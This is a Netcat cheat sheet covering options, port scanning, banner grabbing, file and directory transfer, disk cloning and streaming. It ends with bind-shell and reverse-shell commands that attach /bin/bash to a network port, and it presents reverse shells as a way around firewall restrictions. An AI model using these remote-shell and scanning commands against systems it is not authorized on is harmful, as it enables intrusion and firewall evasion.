Netcat cheatsheet

This cheat sheet provides various for using Netcat on both Linux and Unix.

Getting Started

Usage

Connect to a host located anywhere

```
$ nc [options] [host] [port]
```

Listen for incoming connections

```
$ nc -lp port [host] [port]
```

Option examples

`-h`	nc -h	Help
`-z`	nc -z 192.168.1.9 1-100	Port scan for a host or IP address
`-v`	nc -zv 192.168.1.9 1-100	Provide verbose output
`-n`	nc -zn 192.168.1.9 1-100	Fast scan by disabling DNS resolution
`-l`	nc -lp 8000	TCP Listen mode (for inbound connects)
`-w`	nc -w 180 192.168.1.9 8000	Define timeout value
`-k`	nc -kl 8000	Continue listening after disconnection
`-u`	nc -u 192.168.1.9 8000	Use UDP instead of TCP
`-q`	nc -q 1 192.168.1.9 8000	Client stay up after EOF
`-4`	nc -4 -l 8000	IPv4 only

-6	nc -6 -l 8000	IPv6 only

Chat client-server

Server (192.168.1.9)

```
$ nc -lv 8000
```

Client

```
$ nc 192.168.1.9 8000
```

Netcat Examples

Banner grabbing

```
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
```

or

```
echo "" | nc -zv -wl 192.168.1.1 801-805
```

Port scanning

Scan ports between 21 to 25

```
$ nc -zvn 192.168.1.1 21-25
```

Scan ports 22, 3306 and 8080

```
$ nc -zvn 192.168.1.1 22 3306 8080
```

Proxy and port forwarding

```
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
```

or

```
$ nc -l 8001 | nc 127.0.0.1 8000
```

Create a tunnel from one local port to another

Download file

Server (192.168.1.9)

```
$ nc -lv 8000 < file.txt
```

Client

```
$ nc -nv 192.168.1.9 8000 > file.txt
```

Suppose you want to transfer a file “file.txt” from server A to client B.

Upload file

Server (192.168.1.9)

```
$ nc -lv 8000 > file.txt
```

Client

```
$ nc 192.168.1.9 8000 < file.txt
```

Suppose you want to transfer a file “file.txt” from client B to server A:

Directory transfer

Server (192.168.1.9)

```
$ tar -cvf – dir_name | nc -l 8000
```

Client

```
$ nc -n 192.168.1.9 8000 | tar -xvf -
```

Suppose you want to transfer a directory over the network from A to B.

Encrypt transfer

Server (192.168.1.9)

```
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
```

Client

```
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
```

Encrypt data before transfering over the network

Clones

Server (192.168.1.9)

```
$ dd if=/dev/sda | nc -l 8000
```

Client

```
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
```

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Video streaming

Server (192.168.1.9)

```
$ cat video.avi | nc -l 8000
```

Client

```
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
```

Streaming video with netcat

Remote shell

Server (192.168.1.9)

```
$ nc -lv 8000 -e /bin/bash
```

Client

```
$ nc 192.168.1.9 8000
```

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

Reverse shell

Server (192.168.1.9)

```
$ nc -lv 8000
```

Client

```
$ nc 192.168.1.9 8000 -v -e /bin/bash
```

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections

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